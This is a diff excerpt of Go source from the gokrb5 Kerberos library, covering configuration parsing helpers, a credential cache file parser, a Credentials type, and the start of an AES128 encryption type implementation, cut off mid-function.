||||
func parseETypes(s []string, w bool) []int32 {
|
||||
var eti []int32
|
||||
for _, et := range s {
|
||||
if !w {
|
||||
var weak bool
|
||||
for _, wet := range strings.Fields(WeakETypeList) {
|
||||
if et == wet {
|
||||
weak = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if weak {
|
||||
continue
|
||||
}
|
||||
}
|
||||
i := etypeID.EtypeSupported(et)
|
||||
if i != 0 {
|
||||
eti = append(eti, i)
|
||||
}
|
||||
}
|
||||
return eti
|
||||
}
|
||||
|
||||
// Parse a time duration string in the configuration to a golang time.Duration.
|
||||
func parseDuration(s string) (time.Duration, error) {
|
||||
s = strings.Replace(strings.TrimSpace(s), " ", "", -1)
|
||||
|
||||
// handle Nd[NmNs]
|
||||
if strings.Contains(s, "d") {
|
||||
ds := strings.SplitN(s, "d", 2)
|
||||
dn, err := strconv.ParseUint(ds[0], 10, 32)
|
||||
if err != nil {
|
||||
return time.Duration(0), errors.New("invalid time duration")
|
||||
}
|
||||
d := time.Duration(dn*24) * time.Hour
|
||||
if ds[1] != "" {
|
||||
dp, err := time.ParseDuration(ds[1])
|
||||
if err != nil {
|
||||
return time.Duration(0), errors.New("invalid time duration")
|
||||
}
|
||||
d = d + dp
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// handle Nm[Ns]
|
||||
d, err := time.ParseDuration(s)
|
||||
if err == nil {
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// handle N
|
||||
v, err := strconv.ParseUint(s, 10, 32)
|
||||
if err == nil && v > 0 {
|
||||
return time.Duration(v) * time.Second, nil
|
||||
}
|
||||
|
||||
// handle h:m[:s]
|
||||
if strings.Contains(s, ":") {
|
||||
t := strings.Split(s, ":")
|
||||
if 2 > len(t) || len(t) > 3 {
|
||||
return time.Duration(0), errors.New("invalid time duration value")
|
||||
}
|
||||
var i []int
|
||||
for _, n := range t {
|
||||
j, err := strconv.ParseInt(n, 10, 16)
|
||||
if err != nil {
|
||||
return time.Duration(0), errors.New("invalid time duration value")
|
||||
}
|
||||
i = append(i, int(j))
|
||||
}
|
||||
d := time.Duration(i[0])*time.Hour + time.Duration(i[1])*time.Minute
|
||||
if len(i) == 3 {
|
||||
d = d + time.Duration(i[2])*time.Second
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
return time.Duration(0), errors.New("invalid time duration value")
|
||||
}
|
||||
|
||||
// Parse possible boolean values to golang bool.
|
||||
func parseBoolean(s string) (bool, error) {
|
||||
s = strings.TrimSpace(s)
|
||||
v, err := strconv.ParseBool(s)
|
||||
if err == nil {
|
||||
return v, nil
|
||||
}
|
||||
switch strings.ToLower(s) {
|
||||
case "yes":
|
||||
return true, nil
|
||||
case "y":
|
||||
return true, nil
|
||||
case "no":
|
||||
return false, nil
|
||||
case "n":
|
||||
return false, nil
|
||||
}
|
||||
return false, errors.New("invalid boolean value")
|
||||
}
|
||||
|
||||
// Parse array of strings but stop if an asterisk is placed at the end of a line.
|
||||
func appendUntilFinal(s *[]string, value string, final *bool) {
|
||||
if *final {
|
||||
return
|
||||
}
|
||||
if last := len(value) - 1; last >= 0 && value[last] == '*' {
|
||||
*final = true
|
||||
value = value[:len(value)-1]
|
||||
}
|
||||
*s = append(*s, value)
|
||||
}
|
||||
+348
@@ -0,0 +1,348 @@
|
||||
package credentials
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/jcmturner/gofork/encoding/asn1"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
const (
|
||||
headerFieldTagKDCOffset = 1
|
||||
)
|
||||
|
||||
// The first byte of the file always has the value 5.
|
||||
// The value of the second byte contains the version number (1 through 4)
|
||||
// Versions 1 and 2 of the file format use native byte order for integer representations.
|
||||
// Versions 3 and 4 always use big-endian byte order
|
||||
// After the two-byte version indicator, the file has three parts:
|
||||
// 1) the header (in version 4 only)
|
||||
// 2) the default principal name
|
||||
// 3) a sequence of credentials
|
||||
|
||||
// CCache is the file credentials cache as define here: https://web.mit.edu/kerberos/krb5-latest/doc/formats/ccache_file_format.html
|
||||
type CCache struct {
|
||||
Version uint8
|
||||
Header header
|
||||
DefaultPrincipal principal
|
||||
Credentials []*Credential
|
||||
Path string
|
||||
}
|
||||
|
||||
type header struct {
|
||||
length uint16
|
||||
fields []headerField
|
||||
}
|
||||
|
||||
type headerField struct {
|
||||
tag uint16
|
||||
length uint16
|
||||
value []byte
|
||||
}
|
||||
|
||||
// Credential cache entry principal struct.
|
||||
type principal struct {
|
||||
Realm string
|
||||
PrincipalName types.PrincipalName
|
||||
}
|
||||
|
||||
// Credential holds a Kerberos client's ccache credential information.
|
||||
type Credential struct {
|
||||
Client principal
|
||||
Server principal
|
||||
Key types.EncryptionKey
|
||||
AuthTime time.Time
|
||||
StartTime time.Time
|
||||
EndTime time.Time
|
||||
RenewTill time.Time
|
||||
IsSKey bool
|
||||
TicketFlags asn1.BitString
|
||||
Addresses []types.HostAddress
|
||||
AuthData []types.AuthorizationDataEntry
|
||||
Ticket []byte
|
||||
SecondTicket []byte
|
||||
}
|
||||
|
||||
// LoadCCache loads a credential cache file into a CCache type.
|
||||
func LoadCCache(cpath string) (*CCache, error) {
|
||||
c := new(CCache)
|
||||
b, err := ioutil.ReadFile(cpath)
|
||||
if err != nil {
|
||||
return c, err
|
||||
}
|
||||
err = c.Unmarshal(b)
|
||||
return c, err
|
||||
}
|
||||
|
||||
// Unmarshal a byte slice of credential cache data into CCache type.
|
||||
func (c *CCache) Unmarshal(b []byte) error {
|
||||
p := 0
|
||||
//The first byte of the file always has the value 5
|
||||
if int8(b[p]) != 5 {
|
||||
return errors.New("Invalid credential cache data. First byte does not equal 5")
|
||||
}
|
||||
p++
|
||||
//Get credential cache version
|
||||
//The second byte contains the version number (1 to 4)
|
||||
c.Version = b[p]
|
||||
if c.Version < 1 || c.Version > 4 {
|
||||
return errors.New("Invalid credential cache data. Keytab version is not within 1 to 4")
|
||||
}
|
||||
p++
|
||||
//Version 1 or 2 of the file format uses native byte order for integer representations. Versions 3 & 4 always uses big-endian byte order
|
||||
var endian binary.ByteOrder
|
||||
endian = binary.BigEndian
|
||||
if (c.Version == 1 || c.Version == 2) && isNativeEndianLittle() {
|
||||
endian = binary.LittleEndian
|
||||
}
|
||||
if c.Version == 4 {
|
||||
err := parseHeader(b, &p, c, &endian)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
c.DefaultPrincipal = parsePrincipal(b, &p, c, &endian)
|
||||
for p < len(b) {
|
||||
cred, err := parseCredential(b, &p, c, &endian)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.Credentials = append(c.Credentials, cred)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func parseHeader(b []byte, p *int, c *CCache, e *binary.ByteOrder) error {
|
||||
if c.Version != 4 {
|
||||
return errors.New("Credentials cache version is not 4 so there is no header to parse.")
|
||||
}
|
||||
h := header{}
|
||||
h.length = uint16(readInt16(b, p, e))
|
||||
for *p <= int(h.length) {
|
||||
f := headerField{}
|
||||
f.tag = uint16(readInt16(b, p, e))
|
||||
f.length = uint16(readInt16(b, p, e))
|
||||
f.value = b[*p : *p+int(f.length)]
|
||||
*p += int(f.length)
|
||||
if !f.valid() {
|
||||
return errors.New("Invalid credential cache header found")
|
||||
}
|
||||
h.fields = append(h.fields, f)
|
||||
}
|
||||
c.Header = h
|
||||
return nil
|
||||
}
|
||||
|
||||
// Parse the Keytab bytes of a principal into a Keytab entry's principal.
|
||||
func parsePrincipal(b []byte, p *int, c *CCache, e *binary.ByteOrder) (princ principal) {
|
||||
if c.Version != 1 {
|
||||
//Name Type is omitted in version 1
|
||||
princ.PrincipalName.NameType = readInt32(b, p, e)
|
||||
}
|
||||
nc := int(readInt32(b, p, e))
|
||||
if c.Version == 1 {
|
||||
//In version 1 the number of components includes the realm. Minus 1 to make consistent with version 2
|
||||
nc--
|
||||
}
|
||||
lenRealm := readInt32(b, p, e)
|
||||
princ.Realm = string(readBytes(b, p, int(lenRealm), e))
|
||||
for i := 0; i < nc; i++ {
|
||||
l := readInt32(b, p, e)
|
||||
princ.PrincipalName.NameString = append(princ.PrincipalName.NameString, string(readBytes(b, p, int(l), e)))
|
||||
}
|
||||
return princ
|
||||
}
|
||||
|
||||
func parseCredential(b []byte, p *int, c *CCache, e *binary.ByteOrder) (cred *Credential, err error) {
|
||||
cred = new(Credential)
|
||||
cred.Client = parsePrincipal(b, p, c, e)
|
||||
cred.Server = parsePrincipal(b, p, c, e)
|
||||
key := types.EncryptionKey{}
|
||||
key.KeyType = int32(readInt16(b, p, e))
|
||||
if c.Version == 3 {
|
||||
//repeated twice in version 3
|
||||
key.KeyType = int32(readInt16(b, p, e))
|
||||
}
|
||||
key.KeyValue = readData(b, p, e)
|
||||
cred.Key = key
|
||||
cred.AuthTime = readTimestamp(b, p, e)
|
||||
cred.StartTime = readTimestamp(b, p, e)
|
||||
cred.EndTime = readTimestamp(b, p, e)
|
||||
cred.RenewTill = readTimestamp(b, p, e)
|
||||
if ik := readInt8(b, p, e); ik == 0 {
|
||||
cred.IsSKey = false
|
||||
} else {
|
||||
cred.IsSKey = true
|
||||
}
|
||||
cred.TicketFlags = types.NewKrbFlags()
|
||||
cred.TicketFlags.Bytes = readBytes(b, p, 4, e)
|
||||
l := int(readInt32(b, p, e))
|
||||
cred.Addresses = make([]types.HostAddress, l, l)
|
||||
for i := range cred.Addresses {
|
||||
cred.Addresses[i] = readAddress(b, p, e)
|
||||
}
|
||||
l = int(readInt32(b, p, e))
|
||||
cred.AuthData = make([]types.AuthorizationDataEntry, l, l)
|
||||
for i := range cred.AuthData {
|
||||
cred.AuthData[i] = readAuthDataEntry(b, p, e)
|
||||
}
|
||||
cred.Ticket = readData(b, p, e)
|
||||
cred.SecondTicket = readData(b, p, e)
|
||||
return
|
||||
}
|
||||
|
||||
// GetClientPrincipalName returns a PrincipalName type for the client the credentials cache is for.
|
||||
func (c *CCache) GetClientPrincipalName() types.PrincipalName {
|
||||
return c.DefaultPrincipal.PrincipalName
|
||||
}
|
||||
|
||||
// GetClientRealm returns the reals of the client the credentials cache is for.
|
||||
func (c *CCache) GetClientRealm() string {
|
||||
return c.DefaultPrincipal.Realm
|
||||
}
|
||||
|
||||
// GetClientCredentials returns a Credentials object representing the client of the credentials cache.
|
||||
func (c *CCache) GetClientCredentials() *Credentials {
|
||||
return &Credentials{
|
||||
username: c.DefaultPrincipal.PrincipalName.PrincipalNameString(),
|
||||
realm: c.GetClientRealm(),
|
||||
cname: c.DefaultPrincipal.PrincipalName,
|
||||
}
|
||||
}
|
||||
|
||||
// Contains tests if the cache contains a credential for the provided server PrincipalName
|
||||
func (c *CCache) Contains(p types.PrincipalName) bool {
|
||||
for _, cred := range c.Credentials {
|
||||
if cred.Server.PrincipalName.Equal(p) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// GetEntry returns a specific credential for the PrincipalName provided.
|
||||
func (c *CCache) GetEntry(p types.PrincipalName) (*Credential, bool) {
|
||||
cred := new(Credential)
|
||||
var found bool
|
||||
for i := range c.Credentials {
|
||||
if c.Credentials[i].Server.PrincipalName.Equal(p) {
|
||||
cred = c.Credentials[i]
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return cred, false
|
||||
}
|
||||
return cred, true
|
||||
}
|
||||
|
||||
// GetEntries filters out configuration entries an returns a slice of credentials.
|
||||
func (c *CCache) GetEntries() []*Credential {
|
||||
creds := make([]*Credential, 0)
|
||||
for _, cred := range c.Credentials {
|
||||
// Filter out configuration entries
|
||||
if strings.HasPrefix(cred.Server.Realm, "X-CACHECONF") {
|
||||
continue
|
||||
}
|
||||
creds = append(creds, cred)
|
||||
}
|
||||
return creds
|
||||
}
|
||||
|
||||
func (h *headerField) valid() bool {
|
||||
// At this time there is only one defined header field.
|
||||
// Its tag value is 1, its length is always 8.
|
||||
// Its contents are two 32-bit integers giving the seconds and microseconds
|
||||
// of the time offset of the KDC relative to the client.
|
||||
// Adding this offset to the current time on the client should give the current time on the KDC, if that offset has not changed since the initial authentication.
|
||||
|
||||
// Done as a switch in case other tag values are added in the future.
|
||||
switch h.tag {
|
||||
case headerFieldTagKDCOffset:
|
||||
if h.length != 8 || len(h.value) != 8 {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func readData(b []byte, p *int, e *binary.ByteOrder) []byte {
|
||||
l := readInt32(b, p, e)
|
||||
return readBytes(b, p, int(l), e)
|
||||
}
|
||||
|
||||
func readAddress(b []byte, p *int, e *binary.ByteOrder) types.HostAddress {
|
||||
a := types.HostAddress{}
|
||||
a.AddrType = int32(readInt16(b, p, e))
|
||||
a.Address = readData(b, p, e)
|
||||
return a
|
||||
}
|
||||
|
||||
func readAuthDataEntry(b []byte, p *int, e *binary.ByteOrder) types.AuthorizationDataEntry {
|
||||
a := types.AuthorizationDataEntry{}
|
||||
a.ADType = int32(readInt16(b, p, e))
|
||||
a.ADData = readData(b, p, e)
|
||||
return a
|
||||
}
|
||||
|
||||
// Read bytes representing a timestamp.
|
||||
func readTimestamp(b []byte, p *int, e *binary.ByteOrder) time.Time {
|
||||
return time.Unix(int64(readInt32(b, p, e)), 0)
|
||||
}
|
||||
|
||||
// Read bytes representing an eight bit integer.
|
||||
func readInt8(b []byte, p *int, e *binary.ByteOrder) (i int8) {
|
||||
buf := bytes.NewBuffer(b[*p : *p+1])
|
||||
binary.Read(buf, *e, &i)
|
||||
*p++
|
||||
return
|
||||
}
|
||||
|
||||
// Read bytes representing a sixteen bit integer.
|
||||
func readInt16(b []byte, p *int, e *binary.ByteOrder) (i int16) {
|
||||
buf := bytes.NewBuffer(b[*p : *p+2])
|
||||
binary.Read(buf, *e, &i)
|
||||
*p += 2
|
||||
return
|
||||
}
|
||||
|
||||
// Read bytes representing a thirty two bit integer.
|
||||
func readInt32(b []byte, p *int, e *binary.ByteOrder) (i int32) {
|
||||
buf := bytes.NewBuffer(b[*p : *p+4])
|
||||
binary.Read(buf, *e, &i)
|
||||
*p += 4
|
||||
return
|
||||
}
|
||||
|
||||
func readBytes(b []byte, p *int, s int, e *binary.ByteOrder) []byte {
|
||||
buf := bytes.NewBuffer(b[*p : *p+s])
|
||||
r := make([]byte, s)
|
||||
binary.Read(buf, *e, &r)
|
||||
*p += s
|
||||
return r
|
||||
}
|
||||
|
||||
func isNativeEndianLittle() bool {
|
||||
var x = 0x012345678
|
||||
var p = unsafe.Pointer(&x)
|
||||
var bp = (*[4]byte)(p)
|
||||
|
||||
var endian bool
|
||||
if 0x01 == bp[0] {
|
||||
endian = false
|
||||
} else if (0x78 & 0xff) == (bp[0] & 0xff) {
|
||||
endian = true
|
||||
} else {
|
||||
// Default to big endian
|
||||
endian = false
|
||||
}
|
||||
return endian
|
||||
}
|
||||
+314
@@ -0,0 +1,314 @@
|
||||
// Package credentials provides credentials management for Kerberos 5 authentication.
|
||||
package credentials
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/go-uuid"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/nametype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/keytab"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
const (
|
||||
// AttributeKeyADCredentials assigned number for AD credentials.
|
||||
AttributeKeyADCredentials = "gokrb5AttributeKeyADCredentials"
|
||||
)
|
||||
|
||||
// Credentials struct for a user.
|
||||
// Contains either a keytab, password or both.
|
||||
// Keytabs are used over passwords if both are defined.
|
||||
type Credentials struct {
|
||||
username string
|
||||
displayName string
|
||||
realm string
|
||||
cname types.PrincipalName
|
||||
keytab *keytab.Keytab
|
||||
password string
|
||||
attributes map[string]interface{}
|
||||
validUntil time.Time
|
||||
|
||||
authenticated bool
|
||||
human bool
|
||||
authTime time.Time
|
||||
groupMembership map[string]bool
|
||||
sessionID string
|
||||
}
|
||||
|
||||
// ADCredentials contains information obtained from the PAC.
|
||||
type ADCredentials struct {
|
||||
EffectiveName string
|
||||
FullName string
|
||||
UserID int
|
||||
PrimaryGroupID int
|
||||
LogOnTime time.Time
|
||||
LogOffTime time.Time
|
||||
PasswordLastSet time.Time
|
||||
GroupMembershipSIDs []string
|
||||
LogonDomainName string
|
||||
LogonDomainID string
|
||||
LogonServer string
|
||||
}
|
||||
|
||||
// New creates a new Credentials instance.
|
||||
func New(username string, realm string) *Credentials {
|
||||
uid, err := uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
uid = "00unique-sess-ions-uuid-unavailable0"
|
||||
}
|
||||
return &Credentials{
|
||||
username: username,
|
||||
displayName: username,
|
||||
realm: realm,
|
||||
cname: types.NewPrincipalName(nametype.KRB_NT_PRINCIPAL, username),
|
||||
keytab: keytab.New(),
|
||||
attributes: make(map[string]interface{}),
|
||||
groupMembership: make(map[string]bool),
|
||||
sessionID: uid,
|
||||
human: true,
|
||||
}
|
||||
}
|
||||
|
||||
// NewFromPrincipalName creates a new Credentials instance with the user details provides as a PrincipalName type.
|
||||
func NewFromPrincipalName(cname types.PrincipalName, realm string) *Credentials {
|
||||
uid, err := uuid.GenerateUUID()
|
||||
if err != nil {
|
||||
uid = "00unique-sess-ions-uuid-unavailable0"
|
||||
}
|
||||
return &Credentials{
|
||||
username: cname.PrincipalNameString(),
|
||||
displayName: cname.PrincipalNameString(),
|
||||
realm: realm,
|
||||
cname: cname,
|
||||
keytab: keytab.New(),
|
||||
attributes: make(map[string]interface{}),
|
||||
groupMembership: make(map[string]bool),
|
||||
sessionID: uid,
|
||||
human: true,
|
||||
}
|
||||
}
|
||||
|
||||
// WithKeytab sets the Keytab in the Credentials struct.
|
||||
func (c *Credentials) WithKeytab(kt *keytab.Keytab) *Credentials {
|
||||
c.keytab = kt
|
||||
c.password = ""
|
||||
return c
|
||||
}
|
||||
|
||||
// Keytab returns the credential's Keytab.
|
||||
func (c *Credentials) Keytab() *keytab.Keytab {
|
||||
return c.keytab
|
||||
}
|
||||
|
||||
// HasKeytab queries if the Credentials has a keytab defined.
|
||||
func (c *Credentials) HasKeytab() bool {
|
||||
if c.keytab != nil && len(c.keytab.Entries) > 0 {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// WithPassword sets the password in the Credentials struct.
|
||||
func (c *Credentials) WithPassword(password string) *Credentials {
|
||||
c.password = password
|
||||
c.keytab = keytab.New() // clear any keytab
|
||||
return c
|
||||
}
|
||||
|
||||
// Password returns the credential's password.
|
||||
func (c *Credentials) Password() string {
|
||||
return c.password
|
||||
}
|
||||
|
||||
// HasPassword queries if the Credentials has a password defined.
|
||||
func (c *Credentials) HasPassword() bool {
|
||||
if c.password != "" {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// SetValidUntil sets the expiry time of the credentials
|
||||
func (c *Credentials) SetValidUntil(t time.Time) {
|
||||
c.validUntil = t
|
||||
}
|
||||
|
||||
// SetADCredentials adds ADCredentials attributes to the credentials
|
||||
func (c *Credentials) SetADCredentials(a ADCredentials) {
|
||||
c.SetAttribute(AttributeKeyADCredentials, a)
|
||||
if a.FullName != "" {
|
||||
c.SetDisplayName(a.FullName)
|
||||
}
|
||||
if a.EffectiveName != "" {
|
||||
c.SetUserName(a.EffectiveName)
|
||||
}
|
||||
for i := range a.GroupMembershipSIDs {
|
||||
c.AddAuthzAttribute(a.GroupMembershipSIDs[i])
|
||||
}
|
||||
}
|
||||
|
||||
// Methods to implement goidentity.Identity interface
|
||||
|
||||
// UserName returns the credential's username.
|
||||
func (c *Credentials) UserName() string {
|
||||
return c.username
|
||||
}
|
||||
|
||||
// SetUserName sets the username value on the credential.
|
||||
func (c *Credentials) SetUserName(s string) {
|
||||
c.username = s
|
||||
}
|
||||
|
||||
// CName returns the credential's client principal name.
|
||||
func (c *Credentials) CName() types.PrincipalName {
|
||||
return c.cname
|
||||
}
|
||||
|
||||
// SetCName sets the client principal name on the credential.
|
||||
func (c *Credentials) SetCName(pn types.PrincipalName) {
|
||||
c.cname = pn
|
||||
}
|
||||
|
||||
// Domain returns the credential's domain.
|
||||
func (c *Credentials) Domain() string {
|
||||
return c.realm
|
||||
}
|
||||
|
||||
// SetDomain sets the domain value on the credential.
|
||||
func (c *Credentials) SetDomain(s string) {
|
||||
c.realm = s
|
||||
}
|
||||
|
||||
// Realm returns the credential's realm. Same as the domain.
|
||||
func (c *Credentials) Realm() string {
|
||||
return c.Domain()
|
||||
}
|
||||
|
||||
// SetRealm sets the realm value on the credential. Same as the domain
|
||||
func (c *Credentials) SetRealm(s string) {
|
||||
c.SetDomain(s)
|
||||
}
|
||||
|
||||
// DisplayName returns the credential's display name.
|
||||
func (c *Credentials) DisplayName() string {
|
||||
return c.displayName
|
||||
}
|
||||
|
||||
// SetDisplayName sets the display name value on the credential.
|
||||
func (c *Credentials) SetDisplayName(s string) {
|
||||
c.displayName = s
|
||||
}
|
||||
|
||||
// Human returns if the credential represents a human or not.
|
||||
func (c *Credentials) Human() bool {
|
||||
return c.human
|
||||
}
|
||||
|
||||
// SetHuman sets the credential as human.
|
||||
func (c *Credentials) SetHuman(b bool) {
|
||||
c.human = b
|
||||
}
|
||||
|
||||
// AuthTime returns the time the credential was authenticated.
|
||||
func (c *Credentials) AuthTime() time.Time {
|
||||
return c.authTime
|
||||
}
|
||||
|
||||
// SetAuthTime sets the time the credential was authenticated.
|
||||
func (c *Credentials) SetAuthTime(t time.Time) {
|
||||
c.authTime = t
|
||||
}
|
||||
|
||||
// AuthzAttributes returns the credentials authorizing attributes.
|
||||
func (c *Credentials) AuthzAttributes() []string {
|
||||
s := make([]string, len(c.groupMembership))
|
||||
i := 0
|
||||
for a := range c.groupMembership {
|
||||
s[i] = a
|
||||
i++
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// Authenticated indicates if the credential has been successfully authenticated or not.
|
||||
func (c *Credentials) Authenticated() bool {
|
||||
return c.authenticated
|
||||
}
|
||||
|
||||
// SetAuthenticated sets the credential as having been successfully authenticated.
|
||||
func (c *Credentials) SetAuthenticated(b bool) {
|
||||
c.authenticated = b
|
||||
}
|
||||
|
||||
// AddAuthzAttribute adds an authorization attribute to the credential.
|
||||
func (c *Credentials) AddAuthzAttribute(a string) {
|
||||
c.groupMembership[a] = true
|
||||
}
|
||||
|
||||
// RemoveAuthzAttribute removes an authorization attribute from the credential.
|
||||
func (c *Credentials) RemoveAuthzAttribute(a string) {
|
||||
if _, ok := c.groupMembership[a]; !ok {
|
||||
return
|
||||
}
|
||||
delete(c.groupMembership, a)
|
||||
}
|
||||
|
||||
// EnableAuthzAttribute toggles an authorization attribute to an enabled state on the credential.
|
||||
func (c *Credentials) EnableAuthzAttribute(a string) {
|
||||
if enabled, ok := c.groupMembership[a]; ok && !enabled {
|
||||
c.groupMembership[a] = true
|
||||
}
|
||||
}
|
||||
|
||||
// DisableAuthzAttribute toggles an authorization attribute to a disabled state on the credential.
|
||||
func (c *Credentials) DisableAuthzAttribute(a string) {
|
||||
if enabled, ok := c.groupMembership[a]; ok && enabled {
|
||||
c.groupMembership[a] = false
|
||||
}
|
||||
}
|
||||
|
||||
// Authorized indicates if the credential has the specified authorizing attribute.
|
||||
func (c *Credentials) Authorized(a string) bool {
|
||||
if enabled, ok := c.groupMembership[a]; ok && enabled {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// SessionID returns the credential's session ID.
|
||||
func (c *Credentials) SessionID() string {
|
||||
return c.sessionID
|
||||
}
|
||||
|
||||
// Expired indicates if the credential has expired.
|
||||
func (c *Credentials) Expired() bool {
|
||||
if !c.validUntil.IsZero() && time.Now().UTC().After(c.validUntil) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ValidUntil returns the credential's valid until date
|
||||
func (c *Credentials) ValidUntil() time.Time {
|
||||
return c.validUntil
|
||||
}
|
||||
|
||||
// Attributes returns the Credentials' attributes map.
|
||||
func (c *Credentials) Attributes() map[string]interface{} {
|
||||
return c.attributes
|
||||
}
|
||||
|
||||
// SetAttribute sets the value of an attribute.
|
||||
func (c *Credentials) SetAttribute(k string, v interface{}) {
|
||||
c.attributes[k] = v
|
||||
}
|
||||
|
||||
// SetAttributes replaces the attributes map with the one provided.
|
||||
func (c *Credentials) SetAttributes(a map[string]interface{}) {
|
||||
c.attributes = a
|
||||
}
|
||||
|
||||
// RemoveAttribute deletes an attribute from the attribute map that has the key provided.
|
||||
func (c *Credentials) RemoveAttribute(k string) {
|
||||
delete(c.attributes, k)
|
||||
}
|
||||
+173
@@ -0,0 +1,173 @@
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"hash"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc3961"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc3962"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
// RFC 3962
|
||||
//+--------------------------------------------------------------------+
|
||||
//| protocol key format 128- or 256-bit string |
|
||||
//| |
|
||||
//| string-to-key function PBKDF2+DK with variable |
|
||||
//| iteration count (see |
|
||||
//| above) |
|
||||
//| |
|
||||
//| default string-to-key parameters 00 00 10 00 |
|
||||
//| |
|
||||
//| key-generation seed length key size |
|
||||
//| |
|
||||
//| random-to-key function identity function |
|
||||
//| |
|
||||
//| hash function, H SHA-1 |
|
||||
//| |
|
||||
//| HMAC output size, h 12 octets (96 bits) |
|
||||
//| |
|
||||
//| message block size, m 1 octet |
|
||||
//| |
|
||||
//| encryption/decryption functions, AES in CBC-CTS mode |
|
||||
//| E and D (cipher block size 16 |
|
||||
//| octets), with next-to- |
|
||||
//| last block (last block |
|
||||
//| if only one) as CBC-style |
|
||||
//| ivec |
|
||||
//+--------------------------------------------------------------------+
|
||||
//
|
||||
//+--------------------------------------------------------------------+
|
||||
//| encryption types |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| type name etype value key size |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| aes128-cts-hmac-sha1-96 17 128 |
|
||||
//| aes256-cts-hmac-sha1-96 18 256 |
|
||||
//+--------------------------------------------------------------------+
|
||||
//
|
||||
//+--------------------------------------------------------------------+
|
||||
//| checksum types |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| type name sumtype value length |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| hmac-sha1-96-aes128 15 96 |
|
||||
//| hmac-sha1-96-aes256 16 96 |
|
||||
//+--------------------------------------------------------------------+
|
||||
|
||||
// Aes128CtsHmacSha96 implements Kerberos encryption type aes128-cts-hmac-sha1-96
|
||||
type Aes128CtsHmacSha96 struct {
|
||||
}
|
||||
|
||||
// GetETypeID returns the EType ID number.
|
||||
func (e Aes128CtsHmacSha96) GetETypeID() int32 {
|
||||
return etypeID.AES128_CTS_HMAC_SHA1_96
|
||||
}
|
||||
|
||||
// GetHashID returns the checksum type ID number.
|
||||
func (e Aes128CtsHmacSha96) GetHashID() int32 {
|
||||
return chksumtype.HMAC_SHA1_96_AES128
|
||||
}
|
||||
|
||||
// GetKeyByteSize returns the number of bytes for key of this etype.
|
||||
func (e Aes128CtsHmacSha96) GetKeyByteSize() int {
|
||||
return 128 / 8
|
||||
}
|
||||
|
||||
// GetKeySeedBitLength returns the number of bits for the seed for key generation.
|
||||
func (e Aes128CtsHmacSha96) GetKeySeedBitLength() int {
|
||||
return e.GetKeyByteSize() * 8
|
||||
}
|
||||
|
||||
// GetHashFunc returns the hash function for this etype.
|
||||
func (e Aes128CtsHmacSha96) GetHashFunc() func() hash.Hash {
|
||||
return sha1.New
|
||||
}
|
||||
|
||||
// GetMessageBlockByteSize returns the block size for the etype's messages.
|
||||
func (e Aes128CtsHmacSha96) GetMessageBlockByteSize() int {
|
||||
return 1
|
||||
}
|
||||
|
||||
// GetDefaultStringToKeyParams returns the default key derivation parameters in string form.
|
||||
func (e Aes128CtsHmacSha96) GetDefaultStringToKeyParams() string {
|
||||
return "00001000"
|
||||
}
|
||||
|
||||
// GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations.
|
||||
func (e Aes128CtsHmacSha96) GetConfounderByteSize() int {
|
||||
return aes.BlockSize
|
||||
}
|
||||
|
||||
// GetHMACBitLength returns the bit count size of the integrity hash.
|
||||
func (e Aes128CtsHmacSha96) GetHMACBitLength() int {
|
||||
return 96
|
||||
}
|
||||
|
||||
// GetCypherBlockBitLength returns the bit count size of the cypher block.
|
||||
func (e Aes128CtsHmacSha96) GetCypherBlockBitLength() int {
|
||||
return aes.BlockSize * 8
|
||||
}
|
||||
|
||||
// StringToKey returns a key derived from the string provided.
|
||||
func (e Aes128CtsHmacSha96) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) {
|
||||
return rfc3962.StringToKey(secret, salt, s2kparams, e)
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided.
|
||||
func (e Aes128CtsHmacSha96) RandomToKey(b []byte) []byte {
|
||||
return rfc3961.RandomToKey(b)
|
||||
}
|
||||
|
||||
// EncryptData encrypts the data provided.
|
||||
func (e Aes128CtsHmacSha96) EncryptData(key, data []byte) ([]byte, []byte, error) {
|
||||
